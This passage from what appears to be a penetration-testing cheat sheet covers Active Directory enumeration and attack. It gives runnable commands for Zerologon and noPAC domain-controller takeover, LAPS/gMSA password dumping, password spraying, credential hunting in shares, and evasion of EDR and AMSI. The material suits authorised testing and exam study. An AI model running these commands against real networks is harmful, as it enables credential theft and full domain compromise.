433 **Ingest → analyze:** BHCE web UI → **Administration → File Ingest → Upload**, drop the zip. **Mark every principal I own as Owned** so pathfinding stays relevant, then run the built-ins + this CE cypher starter set: 434 435 ```cypher 436 /* Shortest path to Domain Admins from anything I own */ 437 MATCH p=shortestPath((o {owned:true})-[*1..]->(g:Group)) 438 WHERE g.objectid ENDS WITH '-512' 439 RETURN p LIMIT 25 440 441 /* Kerberoastable / AS-REP roastable (verify property names against your CE dataset) */ 442 MATCH (u:User {hasspn:true}) RETURN u.name, u.serviceprincipalnames 443 MATCH (u:User {dontreqpreauth:true}) RETURN u.name 444 445 /* ACL abuse edges I care about */ 446 MATCH p=(u)-[r:GenericWrite]->(t) RETURN p 447 MATCH p=(u)-[r:ReadGMSAPassword]->(g) RETURN p 448 MATCH p=(u)-[r:AllowedToDelegate]->(c) RETURN p 449 450 /* Where Domain Users are local admin, and unconstrained delegation boxes */ 451 MATCH p=(g:Group)-[:AdminTo]->(c:Computer) WHERE g.name STARTS WITH 'DOMAIN USERS@' RETURN p 452 MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name 453 ``` 454 455 **CE cypher starter table — copy/paste per question:** 456 457 | Question | Cypher | 458 |---|---| 459 | Shortest paths to DA from owned | `MATCH p=shortestPath((o {owned:true})-[*1..]->(g:Group)) WHERE g.objectid ENDS WITH '-512' RETURN p` | 460 | Kerberoastable users | `MATCH (u:User {hasspn:true}) RETURN u.name` | 461 | AS-REP roastable users | `MATCH (u:User {dontreqpreauth:true}) RETURN u.name` | 462 | Unconstrained delegation | `MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name` | 463 | All owned principals | `MATCH (n {owned:true}) RETURN n.name, labels(n)` | 464 | Sessions (who's logged on where) | `MATCH p=(u:User)-[:HasSession]->(c:Computer) RETURN p` | 465 | Outbound ACL edges from my user | `MATCH p=(u:User {name:'$U@$DOMAIN'})-[r]->(t) RETURN p` | 466 | DCSync-capable principals | `MATCH p=(n)-[:DCSync]->(d:Domain) RETURN p` | 467 468 **Run-first checklist:** shortest path to DA from owned → Kerberoastable/AS-REP → delegation (unconstrained + constrained) → DCSync/dangerous ACL rights → ADCS escalation (CE) → sessions on high-value hosts. Each surviving edge hands off to Stage 5: roast with Rubeus-Cheatsheet / Impacket-Cheatsheet, ACL abuse with **bloodyAD**, ADCS with Certipy-ADCS-Cheatsheet, validate local admin with nxc. 469 470 > [!warning] Watch out 471 > - **Empty graph = DNS, not auth.** Set `-ns $IP` (the DC), add `--dns-tcp`, and make sure `-d` is the FQDN. 472 > - **CE vs legacy are NOT interchangeable** — `bloodhound-ce-python` → BloodHound CE; `bloodhound-python` → legacy. Wrong schema mis-parses silently. SharpHound build must match your CE version too. 473 > - `DCOnly` gives no session edges — you need `-c All`/`Session` (and rights) for lateral-movement pathing. 474 > - Legacy blog Cypher often returns 0 on CE (property/label renames) — prefer the CE Query Library and validate property names on a node. 475 > - Kerberos collection under clock skew fails — wrap with `faketime` (faketime-cheatsheet) or sync to the DC. 476 477 --- 478 479 ### 💥 DC One-Shot CVE Checkpoint 480 481 **What to look for** → before grinding ACLs, spend 30 seconds checking whether the DC is vulnerable to an instant-DA CVE. Two are worth a reflexive check on every unpatched-looking DC. 482 483 **Check + exploit** 484 ```bash 485 # Zerologon (CVE-2020-1472) — unauth, sets DC$ password to empty 486 nxc smb $DC -u '' -p '' -M zerologon # SAFE check 487 python3 cve-2020-1472-exploit.py ${DC%%.*} $IP # sets DC$ pw empty (DESTRUCTIVE) 488 secretsdump.py -just-dc-user krbtgt "$DOMAIN"/"${DC%%.*}\$"@$DC -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 489 python3 restorepassword.py "$DOMAIN"/"${DC%%.*}"@$DC -target-ip $IP # RESTORE — mandatory 490 491 # noPAC / Sam-the-Admin (CVE-2021-42278/42287) — any domain user → DA 492 nxc smb $DC -u "$U" -p "$P" -M nopac # check 493 python3 noPac.py "$DOMAIN"/"$U":"$P" -dc-ip $IP -dc-host ${DC%%.*} -shell --impersonate Administrator -use-ldap 494 ``` 495 > [!warning] Watch out — Zerologon BREAKS the DC 496 > Emptying the `DC$` machine password **kills AD replication, trusts and SYSVOL** until you restore it. Dump `krbtgt` (the `31d6…` hash is the empty-password NT hash), then **immediately** run `restorepassword.py` — don't leave a lab (or exam range) broken. noPAC needs `MachineAccountQuota > 0`. Deep dives: 🔵 Attack · 🔵 Attack. Full noPAC/sAMAccountName-spoof flow lives in [Stage 05](/sheets/pentest-workflow/kerberos-attacks). 497 498 --- 499 500 ### 🔐 Credential-Bearing Attributes — LAPS & gMSA 501 502 **What to look for** → two AD attributes that hand you a password *if your user has the read ACL* (BloodHound draws these as `ReadLAPSPassword` and `ReadGMSAPassword` edges). Always test both as every new user — a low-priv account with the right read = instant local admin or a DA-equivalent service hash. 503 504 **LAPS — local admin password in cleartext** 505 ```bash 506 nxc ldap $DC -u "$U" -p "$P" --module laps # dump every readable LAPS pw 507 nxc smb $DC -u "$U" -p "$P" --laps # same via SMB 508 ldapsearch -x -H ldap://$IP -D "$U@$DOMAIN" -w "$P" -b "dc=${DOMAIN%%.*},dc=${DOMAIN#*.}" \ 509 '(ms-Mcs-AdmPwd=*)' ms-Mcs-AdmPwd # raw LDAP (LAPS v1 attr) 510 ``` 511 Dedicated dumpers: [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) (PowerShell, includes `Get-LAPSComputers` + `Find-LAPSDelegatedGroups` to see *who can read* LAPS), [pyLAPS](https://github.com/p0dalirius/pyLAPS) (Python, remote), [SharpLAPS](https://github.com/swisskyrepo/SharpLAPS) (C#, on-host). Discovery of the *delegation* (who holds read) matters as much as the read itself — target those principals in Stage 6. 512 ```powershell 513 Import-Module .\LAPSToolkit.ps1 514 Get-LAPSComputers # hosts with LAPS + passwords my token can read 515 Find-LAPSDelegatedGroups # who has been DELEGATED read rights (targets!) 516 ``` 517 518 **gMSA — service account NT hash** (spends the `ReadGMSAPassword` edge) 519 ```bash 520 nxc ldap $DC -u "$U" -p "$P" --gmsa # prints the NTLM of readable gMSAs 521 python3 gMSADumper.py -u "$U" -p "$P" -d "$DOMAIN" -l $DC # standalone — github.com/micahvandeusen/gMSADumper 522 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host $DC get object 'svc_gmsa$' --attr msDS-ManagedPassword 523 ldeep ldap -u "$U" -p "$P" -d $DOMAIN -s ldap://$DC gmsa 524 ``` 525 [gMSADumper](https://github.com/micahvandeusen/gMSADumper) is the one-shot: any cred → tries to read every gMSA's `msDS-ManagedPassword` blob and prints NTLM hashes ready for PtH. 526 527 > [!tip] Where these lead 528 > LAPS pw → local admin on that host → PtH/loot it in STAGE 10. gMSA hash → if the gMSA is DA-equivalent or has DCSync (check BloodHound), it *is* the domain — this is the Fluffy/Intelligence-class path. Deep dives: 🔷 Attack · 🔷 Attack. 529 530 --- 531 532 ### 📂 Shares & file-content hunting — Snaffler 533 534 **What to look for:** readable shares first, then *files inside shares that contain credentials* — unattend.xml, web.config, scripts with embedded passwords, KeePass databases, `passwords.xlsx`. Share loot bridges Stage 4 → Stage 8: a single found cred restarts the whole loop. 535 536 **Enumerate shares, then hunt content:** 537 ```bash 538 # Map readable shares as the current identity 539 nxc smb $IP -u "$U" -p "$P" --shares 540 nxc smb $IP -u "$U" -p "$P" -M spider_plus # auto-crawl + JSON inventory per share 541 smbmap -H $IP -u "$U" -p "$P" -d "$DOMAIN" -R # recursive listing (github.com/ShawnDEvans/smbmap) 542 543 # spider_plus output → triage the inventory before pulling files 544 jq -r 'to_entries[] | .key as $share | .value | keys[] | "\($share)/\(.)"' \ 545 ~/.nxc/modules/spider_plus/*.json | grep -Ei 'unattend|\.kdbx|config|\.ps1|passw|cred' 546 ``` 547 548 > [!tools] Stage this — Snaffler (the AD-aware share credential hunter) 549 > [Snaffler.exe](/downloads/pentest-workflow/Snaffler.exe) ([SHA-256](/downloads/pentest-workflow/Snaffler.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Snaffler.exe.sha256.asc)) 550 > Canonical source: [SnaffCon/Snaffler](https://github.com/SnaffCon/Snaffler). Unlike a dumb spider, Snaffler **enumerates the domain for computer targets itself**, then classifies file contents by credential-likelihood rules. Run from a domain-joined foothold. Cross-ref: full workflow in [Stage 08 — Credential Hunting](/sheets/pentest-workflow/password-attacks-and-credential-hunting). 551 552 ```powershell 553 .\Snaffler.exe -s -o snaffler.log # default: domain computers, content rules on 554 .\Snaffler.exe -s -i C:\loot -o snaffler.log # restrict to a share tree I already mounted 555 .\Snaffler.exe --help # rule tuning: -m maxSizeGrep, -z interest levels 556 ``` 557 558 > [!warning] Watch out 559 > Snaffler reads **a lot** of files over SMB — heavy network + EDR-visible. Scope with `-i`/computer targeting on real engagements. Shares enumerated by any domain user are also exactly what modern Deception tools (honey shares) bait with: an irresistible `\\SRV\IT\passwords.kdbx` on an otherwise-empty server is a tell — verify the host looks real before pulling. 560 561 --- 562 563 ### 👥 Session & logon enumeration — where are the admins *right now*? 564 565 **What to look for:** which high-value accounts (Domain Admins, helpdesk, service accounts) have **live sessions** on hosts I can reach — because a session = a stealable token/cred in LSASS once I'm local admin there. This feeds BloodHound's `HasSession` edges and Stage 10 lateral movement. 566 567 ```bash 568 # Remote session enum as a low-priv user (NetSessionEnum — often allowed) 569 nxc smb $IP -u "$U" -p "$P" --sessions 570 nxc smb $IP -u "$U" -p "$P" --loggedon-users # needs more rights (SAMR) 571 572 # Sweep a subnet for sessions to build the lateral map 573 nxc smb 10.10.10.0/24 -u "$U" -p "$P" --sessions | grep -B1 -i 'admin\|svc_' 574 ``` 575 576 ```powershell 577 # The classic: PsLoggedOn (Sysinternals) — local + remote logged-on users 578 .\PsLoggedOn.exe \\TARGET 579 # BloodHound's -c Session collection automates exactly this at scale (4.5) 580 ``` 581 582 > [!note] PsLoggedOn concept → BloodHound 583 > PsLoggedOn/`net session`/`--sessions` are the manual version of what SharpHound `-c Session` does domain-wide. On a single box the manual check is quieter; at scale let the collector do it. Pair with `qwinsta`/`quser` on hosts where I already have a shell. Detection: NetSessionEnum bursts across many hosts is a known hunting signature (SharpHound "session enum" rules) — another reason `DCOnly` first, sessions later. 584 585 For share *inventory at scale* (rather than content), [PowerHuntShares](https://github.com/NetSPI/PowerHuntShares) auto-discovers shares across the domain and scores them by risk — a good middle ground between raw `--shares` and a full Snaffler run: 586 ```powershell 587 Import-Module .\PowerHuntShares.psm1 588 Invoke-HuntSMBShares -NoPing -OutputDirectory .\shares -Threads 20 589 ``` 590 591 --- 592 593 ### 🧭 AD Methodology & Host-Based Enumeration (the engagement arc) 594 595 Everything in this stage is **one iterative loop, not a linear checklist**. The module's own arc: passive external recon → active internal discovery → get one identity → credentialed enumeration → attack → and *every new credential drops me back into enumeration with a bigger authenticated view*. 4.1–4.5 are the tools; this is the order I actually think in, and what to run once I'm not on the wire anymore but standing on a Windows host. Deep dives: 1 - Introduction, Methodology & External Recon · 2 - Initial Enumeration of the Domain. 596 597 > [!note] The whole point of enumeration 598 > I don't enumerate to fill a report — I enumerate to answer one question: *what does my current level of access unlock that my last level didn't?* Log the answer (host, cred, edge, timestamp) the moment I find it, because that log **is** the attack path and the report evidence. 599 600 #### The credential-state ladder — "where am I, what mints the next cred?" 601 602 Four states. Each one has a different toolset and a different way to climb. I always know which rung I'm on: 603 604 | Rung | I have… | Enumerate with | What mints the next cred | 605 |---|---|---|---| 606 | 0 · **No creds on the wire** | a network position only | 4.1 null/guest SMB+LDAP, `--rid-brute`, Kerbrute userenum, anon LDAP `namingContexts` | Responder/LLMNR poison → NetNTLMv2 → crack (Stage LLMNR); pre2k; or a spray hit | 607 | 1 · **Cracked/sprayed low-priv user** | one valid `$U:$P` | 4.2 validate everywhere → 4.3 vacuum SMB+LDAP → 4.5 BloodHound | spray that pw across the userlist; roast; read `description`/`info`; ACL edge | 608 | 2 · **Credentialed + graphed** | validated cred + BloodHound graph | the spray→enum loop below; 4.4 LDAP tooling; LAPS/gMSA reads | an owned edge (Stage 6), a roast crack (Stage 5), a share cred (Stage 8) | 609 | 3 · **SYSTEM on a domain-joined host** | a shell as `NT AUTHORITY\SYSTEM` | **host-based / living-off-the-land recon** (below) | the machine account authenticates as a domain principal — dump secrets, run SharpHound with session data | 610 611 > [!tip] SYSTEM on a member server ≈ a domain user 612 > Once I hit `NT AUTHORITY\SYSTEM` on any domain-joined box (Stage 9 privesc got me there), the host's **machine account** can query the directory exactly like a user cred — so I run every host-based query below *without* needing a user's password. Grab it: `nxc smb $IP -u "$U" -p "$P"` showing `Pwn3d!`, or a `SeImpersonate` → PrintSpoofer chain on a service account, is the fastest jump from rung 1 to rung 3. This is the exact pivot the capstone walks: DNN → `mssql$sqlexpress` → SYSTEM → local SAM/LSA → first domain cred `hporter` ([6 - Post-Exploitation Persistence & Internal Enumeration](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot)). 613 614 #### Host-based recon — living off the land (from a Windows foothold) 615 616 **What to look for:** the domain, its groups, trusts, SPNs, delegation and where my token is already local admin — using **only binaries already on the box**. This is the fallback baseline when the host is a locked-down managed workstation/VDI: no internet, file transfer blocked, AppLocker + Defender in *blocking* mode. Native tooling introduces zero new attack surface and is rarely flagged. Full walk: 9 - Living Off the Land. 617 618 **Enumerate — situational awareness first (run on every fresh shell, Win or Nix):** 619 ```powershell 620 whoami /all # my SID, groups, privileges (SeImpersonate? SeBackup?) 621 Get-ChildItem Env: | ft key,value 622 Get-ExecutionPolicy -List 623 netsh advfirewall show allprofiles 624 Get-MpComputerStatus # is Defender real-time on / blocking? 625 qwinsta # other interactive sessions = creds to steal 626 arp -a ; route print # what other subnets does this host see? (pivot candidates) 627 ``` 628 629 **Enumerate — `net.exe` / `dsquery` / CIM (always present, no module drop):** 630 ```batch 631 net accounts /domain :: password + lockout policy (spray safely) 632 net group /domain :: all domain groups 633 net group "Domain Admins" /domain :: DA membership 634 net localgroup administrators :: local admins on THIS box 635 net user /domain <user> :: full attrs for one user 636 net view /domain & net group "Domain Computers" /domain 637 638 :: dsquery = raw LDAP filters with zero external tooling (RSAT / DC only) 639 dsquery user & dsquery computer 640 dsquery * -filter "(&(objectCategory=person)(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=2))" :: enabled users only 641 dsquery * "CN=Users,DC=<dom>,DC=<tld>" -scope subtree 642 setspn.exe -T $DOMAIN -Q */* :: native SPN discovery → hand off to Stage 5 roast 643 ``` 644 ```powershell 645 # wmic is deprecated (gone in Win11 24H2+/recent Server) — use CIM 646 Get-CimInstance -ClassName Win32_QuickFixEngineering # installed patches → missing-KB triage 647 Get-CimInstance -ClassName Win32_UserAccount 648 ``` 649 650 **Enumerate — native AD PowerShell module (RSAT, no binary dropped):** 651 ```powershell 652 Import-Module ActiveDirectory 653 Get-ADDomain 654 Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName # kerberoastable, no PowerView 655 Get-ADTrust -Filter * # trusts to other domains/forests 656 Get-ADGroupMember -Identity "Backup Operators" # dangerous groups 657 ``` 658 659 **Enumerate — PowerView / SharpView (the offensive workhorse when I can drop it):** 660 661 > [!tools] Stage this — PowerView + SharpView 662 > [PowerView.ps1](/downloads/pentest-workflow/PowerView.ps1) ([SHA-256](/downloads/pentest-workflow/PowerView.ps1.sha256) · [GPG signature](/downloads/pentest-workflow/PowerView.ps1.sha256.asc)) 663 > [SharpView.exe](/downloads/pentest-workflow/SharpView.exe) ([SHA-256](/downloads/pentest-workflow/SharpView.exe.sha256) · [GPG signature](/downloads/pentest-workflow/SharpView.exe.sha256.asc)) 664 > Sources: [PowerSploit PowerView](https://github.com/PowerShellMafia/PowerSploit) (`Recon/PowerView.ps1`) and [SharpView](https://github.com/tevora-threat/SharpView) — a **C# port of PowerView with the same cmdlet names/args**. When AMSI/Defender signatures block the `.ps1` import, the `.exe` variant (or `execute-assembly` in-memory) usually still lands. 665 666 ```powershell 667 Import-Module .\PowerView.ps1 668 Get-Domain ; Get-DomainController ; Get-DomainPolicy 669 Get-DomainUser -Identity $U -Domain $DOMAIN | select samaccountname,memberof,description,info 670 Get-DomainUser -Properties samaccountname,description,info | ? {$_.description -or $_.info} # creds hide here 671 Get-DomainGroupMember -Identity "Domain Admins" -Recurse 672 Get-DomainUser -SPN -Properties samaccountname,serviceprincipalname # kerberoastable 673 Get-DomainUser -PreauthNotRequired # AS-REP roastable 674 Get-DomainComputer -Unconstrained ; Get-DomainUser -TrustedToAuth # delegation 675 Get-DomainTrustMapping # walk EVERY reachable trust (cross-forest) 676 Find-DomainShare -CheckShareAccess # shares my token can read 677 Find-LocalAdminAccess ; Test-AdminAccess -ComputerName <host> # where am I already local admin (quiet) 678 # SharpView = the .NET port when AMSI/Defender is tuned to PowerView's PS signatures: 679 .\SharpView.exe Get-DomainUser -Identity $U 680 ``` 681 682 **PowerView one-liner reference — the dozen that answer 90% of questions:** 683 684 | Question | One-liner | 685 |---|---| 686 | Where am I? | `Get-Domain ; Get-DomainController` | 687 | Password/lockout policy | `Get-DomainPolicy \| select -ExpandProperty SystemAccess` | 688 | Kerberoastable users | `Get-DomainUser -SPN` | 689 | AS-REP roastable users | `Get-DomainUser -PreauthNotRequired` | 690 | Creds in description/info | `Get-DomainUser -Properties description,info \| ? {$_.description -or $_.info}` | 691 | DA membership (nested) | `Get-DomainGroupMember "Domain Admins" -Recurse` | 692 | Unconstrained delegation | `Get-DomainComputer -Unconstrained` | 693 | Constrained delegation | `Get-DomainUser -TrustedToAuth ; Get-DomainComputer -TrustedToAuth` | 694 | Where is `<user>` logged on? | `Find-DomainUserLocation -UserName <user>` | 695 | Where am I local admin? | `Find-LocalAdminAccess` | 696 | Readable shares | `Find-DomainShare -CheckShareAccess` | 697 | All trusts, walked | `Get-DomainTrustMapping` | 698 | ACLs on a target object | `Get-DomainObjectAcl -Identity <target> -ResolveGUIDs` | 699 | GPOs touching a host/OU | `Get-DomainGPO -ComputerIdentity <host>` | 700 701 > [!warning] Watch out 702 > - `net.exe` recon, `PowerView.ps1` and `Snaffler.exe` are all **signatured** — EDR flags them specifically because of their recon history. On a Defender-blocking host: use `dsquery` / native `net` / the AD module for the same data, and prefer `execute-assembly` (in-memory) over dropping `SharpView.exe`/`SharpHound.exe`. See 9 - Living Off the Land. 703 > - PowerView's `description` / `info` hunt is the *same gold* as the LDAP one in 4.4 — plaintext passwords live in those attributes constantly. Always pull both. 704 > - GPP `cpassword` in SYSVOL (`findstr /S /I cpassword \\$DOMAIN\SYSVOL\*.xml`) is host-readable by any domain user — but the decrypt + full method lives in Stage 8, don't re-run it here. 705 706 #### SharpHound from the host — collection-method picker 707 708 4.5 already has the base `.\SharpHound.exe -c All` / `-c DCOnly` / `-c Session --Loop` invocations and the CE-vs-legacy trap. What matters *on a host* is **which methods to run and how loud each is** — pick per objective, don't reflexively `-c All`: 709 710 | Objective | Collection method | Noise | 711 |---|---|---| 712 | Fast, LDAP-only first pass | `-c DCOnly` | quiet — no host touches | 713 | Full graph incl. local admin + sessions | `-c All` | loud — SMB to every computer | 714 | Just who's admin where | `-c LocalAdmin,RDP,DCOM,PSRemote` | medium | 715 | Session hunting for a priv account | `-c Session --Loop --Loopduration 02:00:00` | medium, over time | 716 | ACLs / group / trusts only | `-c ACL,Group,Trusts,ObjectProps,Container` | quiet-ish | 717 718 ```powershell 719 # scope + stealth knobs worth knowing (base command + CE/legacy notes are in 4.5) 720 .\SharpHound.exe -c DCOnly --stealth --zipfilename dconly # least-touch recon pass 721 .\SharpHound.exe -c All --ldapfilter "(samaccountname=svc*)" # narrow the LDAP query 722 .\SharpHound.exe -c All --excludedcs # skip DC enumeration if it's tripping alarms 723 ``` 724 > [!note] The rung-3 payoff for SharpHound 725 > Run `-c Session`/`-c All` *after* I'm SYSTEM/local-admin somewhere — that's when session and local-group edges actually populate, and those are the edges BloodHound turns into lateral movement. A `DCOnly` graph collected at rung 1 has no session data. Collector cheat: SharpHound_Cheatsheet. 726 727 #### The credentialed spray → enumerate loop 728 729 **What to look for:** password reuse. One working cred is a *seed*, not an endpoint — I spray it (or one seasonal password) across the whole validated userlist, and **every fresh hit is a new context to re-enumerate** (new group memberships, new readable shares, new ACL edges, maybe a `ReadLAPS`/`ReadGMSA` right). 4.3 has the base `nxc` spray line; the loop discipline and the safety math are the net-new here. Full method: 5 - Password Spraying & Password Policies. 730 731 **Enumerate — prune the target list before spraying:** 732 ```bash 733 # badPwdCount tells me who's already near lockout — exclude them or I do the client's DoS for them 734 nxc smb $DC -u "$U" -p "$P" --users # shows badPwdCount per user 735 # pull the policy FIRST (unauth or cred'd) — lockout threshold + observation window set my rate 736 nxc smb $DC -u "$U" -p "$P" --pass-pol 737 ``` 738 739 **Attack — spray, then loop:** 740 ```bash 741 # 1) spray one password across the pruned list (respect the policy, --continue-on-success, jitter) 742 nxc smb $IP -u users.txt -p 'Welcome2024!' --continue-on-success --no-bruteforce --jitter 2 | grep '[+]' 743 744 # 2) local-admin password/hash REUSE across the subnet — --local-auth is MANDATORY 745 # (a domain logon here would lock the real domain Administrator; --local-auth hits the SAM account) 746 nxc smb $IP/23 -u administrator -H "$HASH" --local-auth | grep 'Pwn3d!' 747 748 # 3) for each NEW hit -> jump straight back to 4.2/4.3/4.5 as that user: 749 # nxc smb/ldap/winrm validate -> vacuum users/groups/shares -> BloodHound mark-owned -> re-path to DA 750 ``` 751 ```powershell 752 # From a Windows foothold: DomainPasswordSpray is domain-aware — auto-builds the userlist from AD, 753 # reads the REAL lockout policy, and drops any account within one attempt of locking. 754 Import-Module .\DomainPasswordSpray.ps1 755 Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_hits -ErrorAction SilentlyContinue 756 ``` 757 758 > [!warning] Watch out — spraying is where engagements go wrong 759 > `userenum` never locks; **spraying does**. Pull `--pass-pol` first, stay a comfortable margin under the lockout threshold *per observation window*, and log every account/password/DC/timestamp. On a lockout threshold of 5 / 30-min window: one attempt per account per ~40 min with a safety buffer, never a tight loop. `--local-auth` is non-negotiable for local-admin reuse — forget it and you lock the domain `Administrator` domain-wide. 760 761 #### Attacking Enterprise Networks — the full engagement arc (capstone recap) 762 763 The capstone stitches all 27 modules into one continuous network, and it's the mental map for how this whole playbook fits together. A **phase is a question, not a tool** — intel gathering asks *what exists*, vuln analysis asks *which weakness is plausible*, exploitation asks *can I prove it with minimal impact*, post-ex asks *what does that access reach*. The arc, mapped to this guide's stages: 764 765 ```text 766 External OSINT ─► Web/Service foothold ─► Pivot into internal ─► Internal + AD enum ─► Lateral/AD compromise ─► Pillage ─► Report 767 (Stage 1-2) (Stage 2-3) (Stage 10) (THIS Stage 4) (Stage 5-7,9) (Stage 8) (evidence) 768 ``` 769 770 | PTES phase | Practical question | This guide | 771 |---|---|---| 772 | Intelligence gathering | what assets/identities exist? | Stage 1 recon, 4.1 unauth enum | 773 | Vulnerability analysis | which condition yields access? | 4.3–4.5 credentialed enum + BloodHound | 774 | Exploitation | prove one boundary crossing | Stages 5–7 (Kerberos, ACL, ADCS), 9 privesc | 775 | Post-exploitation | what does this reach? | host-based recon (above), Stage 10 lateral/pivot | 776 | Reporting | why did the chain work, how to fix | evidence log, findings-vs-chain | 777 778 > [!tip] The Rolodex mindset 779 > Real engagements force constant switching — web → network → AD → privesc → pillage → pivot → *back to enum*. When stuck, I don't tool-spam: I return to **scope → what I can see → what I can't see → next lowest-noise action**. A single finding is one failed control; an **attack path** chains findings across time (exposed app → RCE → dual-homed host → domain cred → ACL abuse → replication rights) and that chain is what carries the business-impact severity. Track creds/hosts/edges in one place (BloodHound graph + a notes table). Capstone driver's-seat method: 1 - Intro to Attacking Enterprise Networks · toolkit index AD_Pentest_Tools_Cheat_Sheet · share-loot automation Snaffler. 780 781 --- 782 783 ### 🔎 Raw LDAP Query Cookbook (filters that find the win) 784 785 BloodHound is the map, but a raw LDAP filter finds a specific win in one query — and works when you can't run a collector. The key is the **bitwise matching-rule OID** on `userAccountControl`. Deep dives: Active Directory LDAP - Cheatsheet · LDAP Search. 786 787 **Matching-rule OIDs** 788 ```text 789 1.2.840.113556.1.4.803 BIT_AND single-flag test (bitwise AND) ← the one you use 790 1.2.840.113556.1.4.804 BIT_OR any-flag test 791 1.2.840.113556.1.4.1941 IN_CHAIN walk nested group ancestry 792 ``` 793 794 **UAC flag values** (plug into `...803:=<value>`): `PASSWD_NOTREQD 32` · `TRUSTED_FOR_DELEGATION 524288` (unconstrained) · `DONT_EXPIRE_PASSWORD 65536` · `DONT_REQ_PREAUTH 4194304` (AS-REP-roastable) · DCs `8192`. 795 796 **The high-value filters** (`-b` = base DN `DC=domain,DC=htb`) 797 ```bash 798 B="dc=${DOMAIN%%.*},dc=${DOMAIN#*.}" 799 # AS-REP roastable (no preauth) 800 ldapsearch -x -H ldap://$IP -D "$U@$DOMAIN" -w "$P" -b "$B" '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' sAMAccountName 801 # Kerberoastable (has SPN, not a machine) 802 ldapsearch -x -H ldap://$IP -D "$U@$DOMAIN" -w "$P" -b "$B" '(&(servicePrincipalName=*)(!(objectClass=computer)))' sAMAccountName servicePrincipalName 803 # Unconstrained delegation | Constrained (has AllowedToDelegateTo) 804 ldapsearch ... '(userAccountControl:1.2.840.113556.1.4.803:=524288)' sAMAccountName 805 ldapsearch ... '(msDS-AllowedToDelegateTo=*)' sAMAccountName msDS-AllowedToDelegateTo 806 # Password-not-required | adminCount=1 (protected/priv) | passwords hidden in description 807 ldapsearch ... '(userAccountControl:1.2.840.113556.1.4.803:=32)' sAMAccountName 808 ldapsearch ... '(adminCount=1)' sAMAccountName 809 ldapsearch ... '(&(objectCategory=user)(description=*))' sAMAccountName description 810 # MachineAccountQuota (can I add a computer for RBCD?) | nested membership of a DN 811 ldapsearch -x -H ldap://$IP -D "$U@$DOMAIN" -w "$P" -b "$B" -s base ms-DS-MachineAccountQuota 812 ldapsearch ... '(member:1.2.840.113556.1.4.1941:=<userDN>)' sAMAccountName 813 ``` 814 815 **Same results via the modern all-rounders** 816 ```bash 817 nxc ldap $DC -u "$U" -p "$P" --kerberoasting kerb.txt --asreproast asrep.txt 818 nxc ldap $DC -u "$U" -p "$P" --trusted-for-delegation --password-not-required 819 windapsearch.py --dc-ip $IP -d "$DOMAIN" -u "$DOMAIN\\$U" -p "$P" --da --unconstrained-users 820 ldapsearch-ad.py -l $IP -d "$DOMAIN" -u "$U" -p "$P" -t kerberoast # also -t asreproast / pass-pols / info 821 ``` 822 > [!tip] Escaping in filters: `*`→`\2a` `(`→`\28` `)`→`\29` `\`→`\5c`. On a Windows foothold the PowerShell equivalent is `Get-ADObject -LDAPFilter '(...)'` (same OID syntax) or `Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true}`. From a non-domain Linux box you can still drive PowerShell tooling with `runas /netonly`. 823 824 > [!note] Trusts found? Different stage 825 > A `(objectClass=trustedDomain)` hit or `Get-ADTrust -Filter *` result means the enumeration surface just doubled — but cross-forest attacks (SID filtering, trust tickets, `raiseChild.py`) are their own discipline: [14 - Domain Trusts and Cross-Forest](/sheets/pentest-workflow/domain-trusts-and-cross-forest). Here I only *record* the trust (direction, type, transitivity) and keep enumerating the local domain. 826 827 --- 828 829 ### ✅ Stage-04 quick-wins checklist (run in order, every new identity) 830 831 | # | Check | Command | If it hits | 832 |---|---|---|---| 833 | 1 | Anon LDAP / null SMB | `nxc smb $IP -u '' -p '' --users --shares` | free user list / share loot | 834 | 2 | RID brute | `nxc smb $IP -u '' -p '' --rid-brute` | full user list | 835 | 3 | AS-REP roast (no creds) | `GetNPUsers.py "$DOMAIN"/ -no-pass -usersfile users.txt -dc-ip $IP` | crack → Stage 05 | 836 | 4 | pre2k machine accounts | `nxc ldap $DC -u '' -p '' -M pre2k` | free machine cred | 837 | 5 | Password policy | `nxc smb $IP -u "$U" -p "$P" --pass-pol` | sets spray math | 838 | 6 | Descriptions/info fields | `nxc ldap $DC -u "$U" -p "$P" -M get-desc-users` | free creds | 839 | 7 | Kerberoast sweep | `nxc ldap $DC -u "$U" -p "$P" --kerberoasting kerb.txt` | crack → Stage 05 | 840 | 8 | LAPS read | `nxc ldap $DC -u "$U" -p "$P" -M laps` | local admin | 841 | 9 | gMSA read | `python3 gMSADumper.py -u "$U" -p "$P" -d "$DOMAIN" -l $DC` | service NT hash | 842 | 10 | Shares + content | `--shares` → `-M spider_plus` → Snaffler | cred files → Stage 08 | 843 | 11 | BloodHound collect | `bloodhound-ce-python -c All --zip` | the path map | 844 | 12 | DC one-shot CVEs | `nxc smb $DC -M zerologon` / `-M nopac` | instant DA | 845 846 > [!tip] CPTS reality check 847 > On exam boxes the intended path is almost always visible after items 1–11 — the box author planted *one* of: a description-field password, a roastable account, a share with creds, a LAPS/gMSA read, or a single ACL edge. If none of the 12 hit, the missing piece is almost always **a cred I already have but haven't re-enumerated as** (go back to the doctrine in 4.2). 848 849 --- 850 851 ### 🛡️ OPSEC & detection — what the blue team sees 852 853 > [!danger] Enumeration is the loudest phase — assume every query is logged 854 > | Signal I generate | Detection / Event ID | Mitigation | 855 > |---|---|---| 856 > | Mass LDAP queries (PowerView `-SPN`, full dumps) | **Event 1644** (expensive/inefficient LDAP query logging, when enabled); ATA/MDI "reconnaissance" alerts | Query surgically; one filter per question; avoid `(objectClass=*)` full dumps; throttle | 857 > | kerbrute userenum | Burst of **4768** AS-REQs (success+failure) from one source | Small curated lists, low threads, jitter | 858 > | Password spray | **4771** failures clustered in the observation window; 4625 via NTLM path | Stay under threshold; `--jitter`; log my own attempts | 859 > | SharpHound `-c All` | SMB/RPC fan-out to every host; session-enum signatures; EDR flags collector binary by hash/name | `DCOnly` first; rename binary; `execute-assembly`; `--stealth` | 860 > | Snaffler | 